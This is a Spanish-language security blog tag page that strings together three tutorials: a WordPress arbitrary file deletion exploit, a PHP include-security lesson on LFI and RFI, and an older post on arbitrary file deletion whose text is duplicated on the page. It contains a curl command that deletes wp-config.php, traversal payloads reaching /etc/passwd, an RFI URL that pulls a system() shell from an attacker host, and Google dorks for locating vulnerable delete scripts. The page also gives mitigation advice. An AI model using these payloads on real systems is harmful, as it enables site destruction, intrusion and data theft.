Hola en el 2013 publique una entrada sobre eliminación de archivos arbitrarios y les traigo un exploit en wordpress y como puede ser explotado, si quieres una explicación de como funciona esta vulnerabilidad les dejo el enlace de mi entrada anterior:
https://arthusu.blogspot.com/2013/07/eliminacion-de-archivos-arbitrarios.html
Intro
Wordpress es el CMS mas popular segun w3techs:
https://w3techs.com/technologies/overview/content_management/all
RIPS revelo esta vulnerabilidad el 26 de junio del 2018:
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Explotando la vulnerabilidad de eliminación de archivos arbitrarios
1.- Iniciamos sesion
2.- Nos dirigimos a agregar una nueva imagen y la subimos
3.- Damos clic en la imagen y establecemos $meta['thumb'] (datos en la meta data de la imagen), recordemos el id de la imagen que se muestra arriba de la URL, como se muestra a continuación:
4.- Nos dirigimos a la url con el post http://localhost/wp-admin/post.php?post=4&action=edit y buscamos _wpnonce usando inspeccionar codigo>ctrl+f
5.- Enviamos nuestro vector de ataque usando cURL:
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'
donde *** es tu valor de la cookie y *** en _wpnonce es tu identificador que recogiste al inspeccionar el HTML.
7.- Lanzamos el ataque, buscamos de nuevo _wpnonce en el código fuente estando en: http://localhost/wp-admin/post.php?post=4&action=edit copiamos el identificador de _wpnonce y ejecutamos nuestro payload que eliminara el archivo deseado:
8.- Recargamos la pagina y el archivo ha sido eliminado.
Y es todo, espero que les haya gustado, saludos!
Mostrando entradas con la etiqueta files. Mostrar todas las entradas
Mostrando entradas con la etiqueta files. Mostrar todas las entradas
domingo, 9 de septiembre de 2018
martes, 1 de abril de 2014
[Parte 5] Seguridad en PHP
Includes
Muchas veces en algun desarollo web utilizamos la inclusion de archivos, ya sea por que, el proyecto esta creciendo considerablemente, en este caso tambien se piensa la programacion orientada a objetos (POO)como alternativa, como dijimos en este caso veremos sobre incluir archivos y existen funciones para ello en PHP tal como include, require, y tambien estan include_once, require_once.Exposicion del codigo fuente
Como vimos en la parte 3 de seguridad en PHP mostrabamos una imagen en las credenciales de acceso de un archivo .inc, este tipo de exposicion es un problema de los mas frecuentes con includes... siendo asi los mayores problemas serian:- archivos .inc como includes
- los archivos .inc se almacenan dentro de /www donde el publico los puede ver
- Apache no reconoce los archivos .inc como algun tipo de extension
- Apache tiene DefaultType configurado en text/plain
Con quiere decir que todo archivo .inc que incluyas dentro del directorio publico se vera como texto plano, y puede ser visto por cualquier persona.
Para solucionar este tipo de problemas... podriamos poner los archivos .inc fuera del directorio publico /www donde solo pueda ser visto por el administrador del sistema...
O tambien en lugar de ponerle extension .inc a un archivo ponerle extension .php, o simplemente denegar el acceso a este tipo de extensiones:
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
Puerta trasera en URLs
Muchas veces en una aplicacion web no incluyen sesiones y lo unico que hacen es un include, por ejemplo:Con esto como informacion_sensitiva.php se encuentra dentro de la raiz del documento (/www) entonces cualquier usuario puede acceder directamente a la url, donde puede haber informacion relevante o simplemente una seccion que no deberiamos de estar viendo.
Manipulacion en el nombre del archivo
Este es un tipo de vulnerabilidad tambien es llamada LFI, pueden encontrar un post acerca de ella en este mismo blog:http://arthusu.blogspot.mx/2013/02/local-file-include-lfi.html
Siguiendo para explicar lo basico, digamos que tenemos un codigo como el siguiente:
En este ejemplo, se incluye una variable llamada username, la cual esta por metodo GET, la cual incluye archivos html, un ejemplo seria poner, en la url algo como:
http://ejemplo.com/index.php?username=acaelarchivo
Con esto se incluiria el archivo .html
Lo que pasa aqui es que podriamos recorrer directorios de manera que encontremos algunos datos que nosotros queramos incluir, por ejemplo:
http://ejemplo.com/index.php?username=../admin/usuarios
Lo cual en el codigo se veria algo como:
Lo que pasaria aqui es que si te das cuenta, solo estamos agregando archivos html, entonces este tipo de restriccion se puede evitar utiilizando nullbyte (), por ejemplo, quedaria mas o menos asi:
http://ejemplo.com/index.php?username=../etc/passwd
Lo cual nos daria como resultado el archivo passwd donde se encuentran todos los usuarios de un sistema linux.
Para evitar este tipo de vulnerabilidad podemos usar la funcion basename() e incluir los archivos en una carpeta includes/ de esta manera solo se incluiran los archivos de tal carpeta, la funcion basename() devuelve el componente de nombre de rastreo de la ruta...
Tambien podriamos hacer una inspeccion de la ruta:
La funcion realpath() nos devuelve el nombre de la ruta absoluta canonizado, en este caso si nuestra ruta es algo como: ./../../etc/passwd la ruta absoluta seria /etc/passwd.
La funcion pathinfo() devuelve informacion acerca de la ruta de un fichero, en el caso de opcion dirname, si tuviesemos la siguiente ruta: /www/htdocs/inc/lib.inc.php con la opcion dirname seleccionada nos daria como resultado solo el directorio... /www/htdocs/inc.
Inyeccion de codigo
Puede darse el caso de que en una inclusion, este habilitada la directiva allow_url_fopen() la cual nos permitiria incluir archivos de urls externas, con lo cual podriamos incluir nuestro archivo .php para que ejecute comandos, este tipo de inyeccion de codigo tambien esta conocido como Remote file inclusion (RFI) y ya no es tan comun como lo era antes.En el caso de que fuera asi nosotros subimos un archivo a nuestro host, que puede contener algun codigo como:
<?php
system($cmd);
?>
El cual puedo incluir en la url de la siguiente manera:
http://[servidorvictima].com/index.php?pagina=http://[servidoratacante].com/shell.txt&&cmd=ls
Con lo cual estariamos ejecutando comandos...
Una forma de evitar esto, es desabilitar la directiva allow_url_fopen() o simplemente crear un script como el siguiente:
<?php
$url = str_replace(array(':','.','/','\\'),'',$url);
include_once($url);
?>
Referencias:
* Essential PHP Security* Wikipedia
* PHP documentacion oficial
Etiquetas:
apache,
archivos,
basename,
exposed,
files,
funciones,
include,
include_once,
includes,
inyeccion,
lfi,
pathinfo,
realpath,
require,
require_once,
rfi,
sourcecode
domingo, 21 de julio de 2013
Eliminacion de archivos arbitrarios
¿Que es un archivo arbitrario?
Basicamente un archivo arbitrario es el cual permite la modificacion de otros archivos en el sistema de la aplicacion web.
En este caso hablaremos de un archivo que puede causarnos la eliminacion de otros archivos es decir podriamos eliminar toda la web solo con ese archivo, es algo peligroso dejar un archivo como ese sin que no sea un administrador el que lo esta manejando.
¿Google Hacking?
Claro que si, usaremos los famosos dorks que no son mas que operadores de google para nuestros fines,entonces puedes armarte dorks como los siguientes:
O parecidos en el arte de google hacking la cuestion esta en inventar xD :D
¿Realizando el ataque?
Es simple tienes permiso para borrar un archivo.... xD :D
Bueno ahi tienen el superpantallazo (borre toda la mierda y deje lo interesante :D ), bueno tenemos la funcion unlink() que lo que hace es eso mismo del tutorial borrar un archivo :) ... Entonces tenemos un ruta, y ademas tenemos un FPD (Full Path Disclousure) y como sabemos LFI(Local File inclusion), combinamos esto y borramos el archivo.... De manera que quedaria asi por ejemplo:
De manera que visitaremos nuestra web :D
Y como vemos va todo ok!
Entonces regresamos a nuestro archivo arbitrario que tiene permisos para eliminar :)
Y le indicamos que ya no queremos ese archivo que lo tire a la basura :P
Lo que veriamos seria que no tira ningun error unlink() es decir que el archivo se elimino correctamente :)
Entonces tratamos de ingresar a la pagina que anteriormente vimos todo ok :)
y tenemos un error 404 de que esa pagina no existe :P
Hasta aqui hemos realizado el ataque que seria eliminar el archivo que queramos de laaplicacion web.
¿Como prevenir este tipo de ataques?
Solo es tan facil como no dejar ese tipo de archivos para todo el publico, sino para solo el administrador por ejemplo, o simplemente no crearlos si no son necesarios.
Me despido espero que les haya resultado de utilidad este tutorial :)
Basicamente un archivo arbitrario es el cual permite la modificacion de otros archivos en el sistema de la aplicacion web.
En este caso hablaremos de un archivo que puede causarnos la eliminacion de otros archivos es decir podriamos eliminar toda la web solo con ese archivo, es algo peligroso dejar un archivo como ese sin que no sea un administrador el que lo esta manejando.
¿Google Hacking?
Claro que si, usaremos los famosos dorks que no son mas que operadores de google para nuestros fines,entonces puedes armarte dorks como los siguientes:
inurl: eliminar.php?archivo=
inurl: delete.php?file=
inurl: delete.php?filename=
O parecidos en el arte de google hacking la cuestion esta en inventar xD :D
¿Realizando el ataque?
Es simple tienes permiso para borrar un archivo.... xD :D
Bueno ahi tienen el superpantallazo (borre toda la mierda y deje lo interesante :D ), bueno tenemos la funcion unlink() que lo que hace es eso mismo del tutorial borrar un archivo :) ... Entonces tenemos un ruta, y ademas tenemos un FPD (Full Path Disclousure) y como sabemos LFI(Local File inclusion), combinamos esto y borramos el archivo.... De manera que quedaria asi por ejemplo:
file=../../../aquielnombredelarchivoaeliminar.loquesea
De manera que visitaremos nuestra web :D
Y como vemos va todo ok!
Entonces regresamos a nuestro archivo arbitrario que tiene permisos para eliminar :)
Y le indicamos que ya no queremos ese archivo que lo tire a la basura :P
Lo que veriamos seria que no tira ningun error unlink() es decir que el archivo se elimino correctamente :)
Entonces tratamos de ingresar a la pagina que anteriormente vimos todo ok :)
y tenemos un error 404 de que esa pagina no existe :P
Hasta aqui hemos realizado el ataque que seria eliminar el archivo que queramos de laaplicacion web.
¿Como prevenir este tipo de ataques?
Solo es tan facil como no dejar ese tipo de archivos para todo el publico, sino para solo el administrador por ejemplo, o simplemente no crearlos si no son necesarios.
Me despido espero que les haya resultado de utilidad este tutorial :)
Suscribirse a:
Entradas (Atom)